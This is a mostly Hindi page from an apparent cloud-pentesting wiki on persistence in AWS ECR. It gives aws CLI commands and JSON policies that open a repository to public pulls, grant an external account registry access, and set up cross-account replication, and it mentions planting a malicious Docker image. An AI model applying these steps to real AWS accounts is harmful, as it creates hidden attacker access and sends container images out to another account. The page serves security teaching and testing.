3.9 KiB
AWS - ECR Persistence
{{#include ../../../banners/hacktricks-training.md}}
ECR
अधिक जानकारी के लिए देखें:
{{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}}
Hidden Docker Image with Malicious Code
एक हमलावर एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
Repository Policy
एकल रिपॉजिटरी में एक नीति जोड़ें जो आपको (या सभी को) एक रिपॉजिटरी तक पहुंच प्रदान करती है:
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json
# With a .json such as
{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
Warning
ध्यान दें कि ECR को उपयोगकर्ताओं के लिए अनुमति की आवश्यकता होती है कि वे
ecr:GetAuthorizationTokenAPI को IAM नीति के माध्यम से कॉल कर सकें इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें।
रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति
एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको बाहरी खाते को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं।

पहले, आपको रजिस्ट्री पर बाहरी खाते को रजिस्ट्री नीति के माध्यम से पहुंच प्रदान करनी होगी जैसे:
aws ecr put-registry-policy --policy-text file://my-policy.json
# With a .json like:
{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
फिर पुनरुत्पादन कॉन्फ़िगरेशन लागू करें:
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2
# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}
{{#include ../../../banners/hacktricks-training.md}}